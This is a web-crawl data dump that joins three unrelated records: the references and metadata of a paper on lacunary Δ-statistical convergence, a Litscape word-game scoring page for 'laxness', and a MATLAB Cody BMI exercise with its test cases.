1951, 2: 241-244.\n\n21. Karakuş S: Statistical convergence on probabilistic normed space. Math. Commun. 2007, 12: 11-23.\n\n22. Mursaleen M, Mohiuddine SA: On ideal convergence in probabilistic normed space. Math. Slovaca 2012, 62: 49-62. 10.2478/s12175-011-0071-9\n\n23. Mursaleen M: On statistical convergence in random 2-normed spaces. Acta Sci. Math. 2010,76(1-2):101-109.\n\n24. Karakuş S, Demirci K, Duman O: Statistical convergence on intuitionistic fuzzy normed spaces. Chaos Solitons Fractals 2008, 35: 763-769. 10.1016/j.chaos.2006.05.046\n\n25. Mursaleen M, Mohiuddine SA: Statistical convergence of double sequences in intuitionistic fuzzy normed space. Chaos Solitons Fractals 2009, 41: 2414-2421. 10.1016/j.chaos.2008.09.018\n\n26. Fridy JA, Orhan C: Lacunary statistical convergence. Pac. J. Math. 1993, 160: 43-51. 10.2140/pjm.1993.160.43\n\n27. Mursaleen M, Mohiuddine SA: On lacunary statistical convergence with respect to the intuitionistic fuzzy normed space. J. Comput. Appl. Math. 2009,233(2):142-149. 10.1016/j.cam.2009.07.005\n\n28. Sen M, Debnath P: Lacunary statistical convergence in intuitionistic fuzzy n -normed spaces. Math. Comput. Model. 2011, 54: 2978-2985. 10.1016/j.mcm.2011.07.020\n\n29. Kızmaz H: On certain sequence spaces. Can. Math. Bull. 1981, 24: 169-176. 10.4153/CMB-1981-027-5\n\n30. Başarır M: On the statistical convergence of sequences. Firat Univ. J. Sci. 1995, 2: 1-6.\n\n31. Bilgin T: Lacunary strongly Δ-convergent sequences of fuzzy numbers. Inf. Sci. 2004, 160: 201-206. 10.1016/j.ins.2003.08.014\n\n32. Hazarika B: Lacunary generalized difference statistical convergence in random 2-normed spaces. Proyecciones 2012, 31: 373-390. 10.4067/S0716-09172012000400006\n\n33. Gökhan A, Et M, Mursaleen M: Almost lacunary statistical and strongly almost lacunary convergence of fuzzy numbers. Math. Comput. Model. 2009,49(3-4):548-555. 10.1016/j.mcm.2008.02.006\n\n34. Çolak R, Altınok H, Et M: Generalized difference sequences of fuzzy numbers. Chaos Solitons Fractals 2009,40(3):1106-1117. 10.1016/j.chaos.2007.08.065\n\n35. Altın Y, Başarır M, Et M: On some generalized difference sequences of fuzzy numbers. Kuwait J. Sci. Eng. 2007,34(1A):1-14.\n\n36. Thillaigovindan N, Anita Shanth S, Jun YB: On lacunary statistical convergence in intuitionistic fuzzy n -normed spaces. Ann. Fuzzy Math. Inform. 2011, 1: 119-131.\n\n## Acknowledgements\n\nThe authors would like to thank the referees for their careful reading of the manuscript and for their suggestions.\n\n## Author information\n\nAuthors\n\n### Corresponding author\n\nCorrespondence to Selma Altundağ.\n\n### Competing interests\n\nThe authors declare that they have no competing interests.\n\n### Authors’ contributions\n\nThe authors did not provide this information.\n\n## Rights and permissions\n\nReprints and Permissions\n\nAltundağ, S., Kamber, E. Lacunary Δ-statistical convergence in intuitionistic fuzzy n-normed space. J Inequal Appl 2014, 40 (2014). https://doi.org/10.1186/1029-242X-2014-40\n\n• Accepted:\n\n• Published:\n\n• DOI: https://doi.org/10.1186/1029-242X-2014-40\n\n### Keywords\n\n• statistical convergence\n• lacunary sequence\n• difference sequence\n• intuitionistic fuzzy n-normed space",
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https://www.litscape.com/word_analysis/laxness | [
"# Definition of laxness\n\n## \"laxness\" in the noun sense\n\n### 1. laxness, laxity, remissness, slackness\n\nthe quality of being lax and neglectful\n\n### 2. laxness, laxity\n\nthe condition of being physiologically lax\n\n\"baths can help the laxness of the bowels\"\n\nSource: WordNet® (An amazing lexical database of English)\n\nWordNet®. Princeton University. 2010.\n\n# laxness in Scrabble®\n\nThe word laxness is playable in Scrabble®, no blanks required.\n\nLAXNESS\n(116 = 66 + 50)\n\nlaxness\n\nLAXNESS\n(116 = 66 + 50)\nLAXNESS\n(110 = 60 + 50)\nLAXNESS\n(106 = 56 + 50)\nLAXNESS\n(96 = 46 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(94 = 44 + 50)\nLAXNESS\n(92 = 42 + 50)\nLAXNESS\n(82 = 32 + 50)\nLAXNESS\n(82 = 32 + 50)\nLAXNESS\n(82 = 32 + 50)\nLAXNESS\n(82 = 32 + 50)\nLAXNESS\n(82 = 32 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(78 = 28 + 50)\nLAXNESS\n(78 = 28 + 50)\nLAXNESS\n(78 = 28 + 50)\nLAXNESS\n(78 = 28 + 50)\nLAXNESS\n(78 = 28 + 50)\nLAXNESS\n(74 = 24 + 50)\nLAXNESS\n(73 = 23 + 50)\nLAXNESS\n(73 = 23 + 50)\nLAXNESS\n(68 = 18 + 50)\nLAXNESS\n(68 = 18 + 50)\nLAXNESS\n(67 = 17 + 50)\nLAXNESS\n(66 = 16 + 50)\nLAXNESS\n(66 = 16 + 50)\nLAXNESS\n(66 = 16 + 50)\nLAXNESS\n(66 = 16 + 50)\nLAXNESS\n(66 = 16 + 50)\nLAXNESS\n(65 = 15 + 50)\n\nLAXNESS\n(116 = 66 + 50)\nLAXNESS\n(110 = 60 + 50)\nLAXNESS\n(106 = 56 + 50)\nLAXNESS\n(96 = 46 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(95 = 45 + 50)\nLAXNESS\n(94 = 44 + 50)\nLAXNESS\n(92 = 42 + 50)\nLAXNESS\n(82 = 32 + 50)\nLAXNESS\n(82 = 32 + 50)\nLAXNESS\n(82 = 32 + 50)\nLAXNESS\n(82 = 32 + 50)\nLAXNESS\n(82 = 32 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(80 = 30 + 50)\nLAXNESS\n(78 = 28 + 50)\nLAXNESS\n(78 = 28 + 50)\nLAXNESS\n(78 = 28 + 50)\nLAXNESS\n(78 = 28 + 50)\nLAXNESS\n(78 = 28 + 50)\nLAXNESS\n(74 = 24 + 50)\nLAXNESS\n(73 = 23 + 50)\nLAXNESS\n(73 = 23 + 50)\nLAXNESS\n(68 = 18 + 50)\nLAXNESS\n(68 = 18 + 50)\nLAXNESS\n(67 = 17 + 50)\nLAXNESS\n(66 = 16 + 50)\nLAXNESS\n(66 = 16 + 50)\nLAXNESS\n(66 = 16 + 50)\nLAXNESS\n(66 = 16 + 50)\nLAXNESS\n(66 = 16 + 50)\nLAXNESS\n(65 = 15 + 50)\nAXLES\n(60)\nAXELS\n(60)\nAXLES\n(39)\nLAXES\n(39)\nAXLES\n(39)\nAXELS\n(39)\nLAXES\n(39)\nAXELS\n(39)\nAXELS\n(39)\nLAXES\n(39)\nAXLES\n(39)\nLAXES\n(39)\nSAXES\n(39)\nSAXES\n(39)\nSAXES\n(39)\nSAXES\n(39)\nAXELS\n(36)\nAXLES\n(36)\nAXES\n(36)\nAXEL\n(36)\nAXLE\n(36)\nAXLE\n(36)\nAXLES\n(36)\nAXLES\n(36)\nSAXES\n(36)\nSAXES\n(36)\nAXES\n(36)\nSAXES\n(36)\nAXELS\n(36)\nLAXES\n(36)\nLAXES\n(36)\nAXEL\n(36)\nLAXES\n(36)\nAXELS\n(36)\nAXEL\n(33)\nAXEL\n(33)\nAXES\n(33)\nAXES\n(33)\nAXEL\n(33)\nAXES\n(33)\nAXES\n(33)\nAXLE\n(33)\nAXLE\n(33)\nAXLE\n(33)\nAXLE\n(33)\nAXEL\n(33)\nLAX\n(30)\nLAX\n(30)\nSEX\n(30)\nSEX\n(30)\nSAX\n(30)\nSAX\n(30)\nSAX\n(30)\nLAX\n(30)\nSEX\n(30)\nAXE\n(30)\nAXE\n(30)\nAXE\n(30)\nSAXES\n(28)\nLAXES\n(28)\nAXELS\n(28)\nAXELS\n(28)\nLAXES\n(28)\nAXELS\n(28)\nAXLES\n(28)\nAXLES\n(28)\nAXLES\n(28)\nSAXES\n(28)\nLAXES\n(28)\nSAXES\n(28)\nAXEL\n(27)\nAXLE\n(27)\nAXES\n(27)\nAX\n(27)\nEX\n(27)\nEX\n(27)\nAX\n(27)\nAXELS\n(26)\nSAX\n(26)\nSAXES\n(26)\nAXELS\n(26)\nAXELS\n(26)\nSAXES\n(26)\nAXELS\n(26)\nLAXES\n(26)\nLAXES\n(26)\nSAXES\n(26)\nSAXES\n(26)\nAXLES\n(26)\nLAXES\n(26)\nAXLES\n(26)\nAXLES\n(26)\nLAX\n(26)\nSEX\n(26)\nLAXES\n(26)\nAXLES\n(26)\nAXE\n(26)\nAX\n(25)\nEX\n(25)\nSAXES\n(24)\nSAXES\n(24)\nLAXES\n(24)\nAXES\n(24)\nAXLES\n(24)\nAXLE\n(24)\nAXLE\n(24)\nAXLES\n(24)\nAXLES\n(24)\nLAXES\n(24)\nAXLES\n(24)\nAXLES\n(24)\nSAXES\n(24)\nLAXES\n(24)\nAXES\n(24)\nLAXES\n(24)\nAXELS\n(24)\nAXELS\n(24)\nSAXES\n(24)\nAXELS\n(24)\nAXEL\n(24)\nLAXES\n(24)\nAXELS\n(24)\nAXEL\n(24)\nSAXES\n(24)\nAXELS\n(24)\nAXLE\n(22)\nAXLE\n(22)\nAXES\n(22)\nAXES\n(22)\nAXLE\n(22)\nAXEL\n(22)\nAXES\n(22)\nAXES\n(22)\nAXEL\n(22)\nAXEL\n(22)\nAXEL\n(22)\nAXLE\n(22)\nSAXES\n(21)\nAXELS\n(21)\nSAXES\n(21)\nLAXES\n(21)\nAXLES\n(21)\nLAXES\n(21)\nSEX\n(20)\nSAX\n(20)\nAXE\n(20)\nLAXES\n(20)\nAXEL\n(20)\nAXE\n(20)\nSEX\n(20)\nAXLES\n(20)\nSAX\n(20)\nAXELS\n(20)\nLAX\n(20)\nLAX\n(20)\nAXLE\n(20)\nAXES\n(20)\nLAX\n(20)\n\n# laxness in Words With Friends™\n\nThe word laxness is playable in Words With Friends™, no blanks required.\n\nLAXNESS\n(143 = 108 + 35)\n\nlaxness\n\nLAXNESS\n(143 = 108 + 35)\nLAXNESS\n(101 = 66 + 35)\nLAXNESS\n(101 = 66 + 35)\nLAXNESS\n(99 = 64 + 35)\nLAXNESS\n(99 = 64 + 35)\nLAXNESS\n(99 = 64 + 35)\nLAXNESS\n(99 = 64 + 35)\nLAXNESS\n(95 = 60 + 35)\nLAXNESS\n(95 = 60 + 35)\nLAXNESS\n(95 = 60 + 35)\nLAXNESS\n(95 = 60 + 35)\nLAXNESS\n(89 = 54 + 35)\nLAXNESS\n(89 = 54 + 35)\nLAXNESS\n(89 = 54 + 35)\nLAXNESS\n(83 = 48 + 35)\nLAXNESS\n(75 = 40 + 35)\nLAXNESS\n(71 = 36 + 35)\nLAXNESS\n(71 = 36 + 35)\nLAXNESS\n(71 = 36 + 35)\nLAXNESS\n(71 = 36 + 35)\nLAXNESS\n(71 = 36 + 35)\nLAXNESS\n(69 = 34 + 35)\nLAXNESS\n(69 = 34 + 35)\nLAXNESS\n(69 = 34 + 35)\nLAXNESS\n(69 = 34 + 35)\nLAXNESS\n(69 = 34 + 35)\nLAXNESS\n(69 = 34 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(62 = 27 + 35)\nLAXNESS\n(61 = 26 + 35)\nLAXNESS\n(60 = 25 + 35)\nLAXNESS\n(60 = 25 + 35)\nLAXNESS\n(60 = 25 + 35)\nLAXNESS\n(59 = 24 + 35)\nLAXNESS\n(57 = 22 + 35)\nLAXNESS\n(56 = 21 + 35)\nLAXNESS\n(55 = 20 + 35)\nLAXNESS\n(55 = 20 + 35)\nLAXNESS\n(55 = 20 + 35)\nLAXNESS\n(55 = 20 + 35)\nLAXNESS\n(54 = 19 + 35)\nLAXNESS\n(54 = 19 + 35)\nLAXNESS\n(54 = 19 + 35)\nLAXNESS\n(54 = 19 + 35)\nLAXNESS\n(54 = 19 + 35)\nLAXNESS\n(53 = 18 + 35)\nLAXNESS\n(53 = 18 + 35)\nLAXNESS\n(53 = 18 + 35)\nLAXNESS\n(52 = 17 + 35)\nLAXNESS\n(52 = 17 + 35)\nLAXNESS\n(52 = 17 + 35)\nLAXNESS\n(51 = 16 + 35)\n\nLAXNESS\n(143 = 108 + 35)\nLAXNESS\n(101 = 66 + 35)\nLAXNESS\n(101 = 66 + 35)\nLAXNESS\n(99 = 64 + 35)\nLAXNESS\n(99 = 64 + 35)\nLAXNESS\n(99 = 64 + 35)\nLAXNESS\n(99 = 64 + 35)\nLAXNESS\n(95 = 60 + 35)\nLAXNESS\n(95 = 60 + 35)\nLAXNESS\n(95 = 60 + 35)\nLAXNESS\n(95 = 60 + 35)\nLAXNESS\n(89 = 54 + 35)\nLAXNESS\n(89 = 54 + 35)\nLAXNESS\n(89 = 54 + 35)\nAXLES\n(87)\nAXELS\n(87)\nLAXNESS\n(83 = 48 + 35)\nLAXNESS\n(75 = 40 + 35)\nLAXNESS\n(71 = 36 + 35)\nLAXNESS\n(71 = 36 + 35)\nLAXNESS\n(71 = 36 + 35)\nLAXNESS\n(71 = 36 + 35)\nLAXNESS\n(71 = 36 + 35)\nLAXNESS\n(69 = 34 + 35)\nLAXNESS\n(69 = 34 + 35)\nLAXNESS\n(69 = 34 + 35)\nLAXNESS\n(69 = 34 + 35)\nLAXNESS\n(69 = 34 + 35)\nLAXNESS\n(69 = 34 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(67 = 32 + 35)\nLAXNESS\n(62 = 27 + 35)\nLAXNESS\n(61 = 26 + 35)\nLAXNESS\n(60 = 25 + 35)\nLAXNESS\n(60 = 25 + 35)\nLAXNESS\n(60 = 25 + 35)\nLAXNESS\n(59 = 24 + 35)\nLAXNESS\n(57 = 22 + 35)\nLAXNESS\n(56 = 21 + 35)\nLAXNESS\n(55 = 20 + 35)\nLAXNESS\n(55 = 20 + 35)\nLAXNESS\n(55 = 20 + 35)\nLAXNESS\n(55 = 20 + 35)\nLAXNESS\n(54 = 19 + 35)\nLAXNESS\n(54 = 19 + 35)\nLAXNESS\n(54 = 19 + 35)\nLAXNESS\n(54 = 19 + 35)\nLAXNESS\n(54 = 19 + 35)\nLAXNESS\n(53 = 18 + 35)\nLAXNESS\n(53 = 18 + 35)\nLAXNESS\n(53 = 18 + 35)\nLAXNESS\n(52 = 17 + 35)\nLAXNESS\n(52 = 17 + 35)\nLAXNESS\n(52 = 17 + 35)\nLAXES\n(52)\nAXLES\n(52)\nAXELS\n(52)\nLAXES\n(51)\nAXELS\n(51)\nLAXNESS\n(51 = 16 + 35)\nAXEL\n(48)\nSAXES\n(48)\nAXLES\n(45)\nAXELS\n(45)\nAXLES\n(45)\nAXELS\n(45)\nLAXES\n(45)\nAXLES\n(45)\nLAXES\n(45)\nLAXES\n(45)\nAXLES\n(42)\nAXEL\n(42)\nAXLE\n(42)\nAXLE\n(42)\nSAXES\n(42)\nAXELS\n(42)\nSAXES\n(42)\nSAXES\n(42)\nSAXES\n(42)\nAXLES\n(39)\nAXLES\n(39)\nAXES\n(39)\nAXELS\n(39)\nLAXES\n(39)\nAXLES\n(39)\nLAXES\n(39)\nLAXES\n(39)\nAXELS\n(39)\nAXES\n(39)\nAXELS\n(39)\nAXEL\n(36)\nAXEL\n(36)\nSAXES\n(36)\nAXEL\n(36)\nSAXES\n(36)\nSAXES\n(36)\nAXLE\n(36)\nAXLE\n(36)\nAXEL\n(36)\nAXLE\n(36)\nAXLE\n(36)\nLAXES\n(34)\nAXES\n(33)\nLAX\n(33)\nAXES\n(33)\nLANES\n(33)\nAXELS\n(33)\nLAXES\n(33)\nLAX\n(33)\nLAX\n(33)\nLEANS\n(33)\nLEANS\n(33)\nAXES\n(33)\nAXES\n(33)\nAXEL\n(32)\nLAX\n(31)\nLAXES\n(31)\nAXLES\n(31)\nAXELS\n(30)\nLENS\n(30)\nAXELS\n(30)\nAXELS\n(30)\nAXLES\n(30)\nAXLE\n(30)\nSEX\n(30)\nSEALS\n(30)\nAXLES\n(30)\nLANE\n(30)\nLAXES\n(30)\nLEAN\n(30)\nLAXES\n(30)\nLEAN\n(30)\nSAX\n(30)\nSAX\n(30)\nSAXES\n(30)\nSEX\n(30)\nSAXES\n(30)\nSAX\n(30)\nSEX\n(30)\nAXE\n(30)\nAXE\n(30)\nAXE\n(30)\nAXES\n(29)\nAXELS\n(29)\nAXLES\n(29)\nLAXES\n(29)\nSEX\n(28)\nLANES\n(28)\nSAX\n(28)\nSAXES\n(28)\nSAXES\n(28)\nSAXES\n(28)\nLAXES\n(28)\nAXLES\n(28)\nLAXES\n(28)\nAXLES\n(28)\nAXLES\n(28)\nLAXES\n(28)\nAXEL\n(28)\nAXELS\n(28)\nAXELS\n(28)\nAXEL\n(28)\nAXLE\n(28)\nLEANS\n(28)\nAXES\n(27)\nSEAL\n(27)\nEX\n(27)\nEX\n(27)\nLEAS\n(27)\nLANES\n(27)\nLANES\n(27)\nLEANS\n(27)\nLASS\n(27)\nLAX\n(27)\nLEANS\n(27)\nLESS\n(27)\nAX\n(27)\nLANES\n(27)\nAX\n(27)\nAXLE\n(26)\nLAXES\n(26)\nAXEL\n(26)\nAXLES\n(26)\nAXLES\n(26)\nAXLES\n(26)\nAXLES\n(26)\nAXE\n(26)\nAXLES\n(26)\nLAXES\n(26)\nSEX\n(26)\nLAXES\n(26)\nSAXES\n(26)\nLAXES\n(26)\nLAXES\n(26)\nSAXES\n(26)\n\n# Word Growth involving laxness\n\ness\n\nax lax\n\nla lax\n\n## Longer words containing laxness\n\n(No longer words found)"
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.82510245,"math_prob":1.0000088,"size":371,"snap":"2020-24-2020-29","text_gpt3_token_len":102,"char_repetition_ratio":0.14441417,"word_repetition_ratio":0.0,"special_character_ratio":0.21832883,"punctuation_ratio":0.171875,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9996835,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-06-06T16:08:30Z\",\"WARC-Record-ID\":\"<urn:uuid:e2f7ddd6-e1c3-4870-80d5-e0cc5a1f7d72>\",\"Content-Length\":\"127767\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:511d881a-84e5-483b-b4f3-84db71024f1a>\",\"WARC-Concurrent-To\":\"<urn:uuid:d68311f3-dbd5-4126-83dc-9e8f5daf9f72>\",\"WARC-IP-Address\":\"172.67.184.45\",\"WARC-Target-URI\":\"https://www.litscape.com/word_analysis/laxness\",\"WARC-Payload-Digest\":\"sha1:4VQ6FNW2IYDJNG74LR5XATKOGHHXUE4B\",\"WARC-Block-Digest\":\"sha1:WA3NHLJOPMIYK6JWJEF65RJXOTAXZJTB\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590348517506.81_warc_CC-MAIN-20200606155701-20200606185701-00382.warc.gz\"}"} |
https://fr.mathworks.com/matlabcentral/cody/problems/1054-what-s-your-bmi/solutions/322681 | [
"Cody\n\n# Problem 1054. What's Your BMI?\n\nSolution 322681\n\nSubmitted on 24 Sep 2013 by Greg\nThis solution is locked. To view this solution, you need to provide a solution of the same size or smaller.\n\n### Test Suite\n\nTest Status Code Input and Output\n1 Pass\n%%Hint h= 1; m= 1; y_correct = 703.06957964; assert(isequal(BMI(h,m),y_correct))\n\n2 Pass\n%% h= 70; m= 90; y_correct = 12.91352289134694; assert(isequal(BMI(h,m),y_correct))"
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.59941125,"math_prob":0.91076124,"size":428,"snap":"2019-43-2019-47","text_gpt3_token_len":141,"char_repetition_ratio":0.15330188,"word_repetition_ratio":0.0,"special_character_ratio":0.39719626,"punctuation_ratio":0.17045455,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.970119,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-11-21T10:47:21Z\",\"WARC-Record-ID\":\"<urn:uuid:34df9473-ee82-4988-98e7-0171e09f09c1>\",\"Content-Length\":\"71640\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9c8d6dc5-bbec-4700-8f82-49fe20a828f3>\",\"WARC-Concurrent-To\":\"<urn:uuid:78912fa4-4fdc-459f-8c43-5c299e642dc2>\",\"WARC-IP-Address\":\"23.50.228.199\",\"WARC-Target-URI\":\"https://fr.mathworks.com/matlabcentral/cody/problems/1054-what-s-your-bmi/solutions/322681\",\"WARC-Payload-Digest\":\"sha1:PULRZJGBRTKVWN2P3LT33S3IH3FE3BLL\",\"WARC-Block-Digest\":\"sha1:AJZTBUFXFIAGUAWZMLU6DMFUI5E2FU2O\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-47/CC-MAIN-2019-47_segments_1573496670770.21_warc_CC-MAIN-20191121101711-20191121125711-00512.warc.gz\"}"} |
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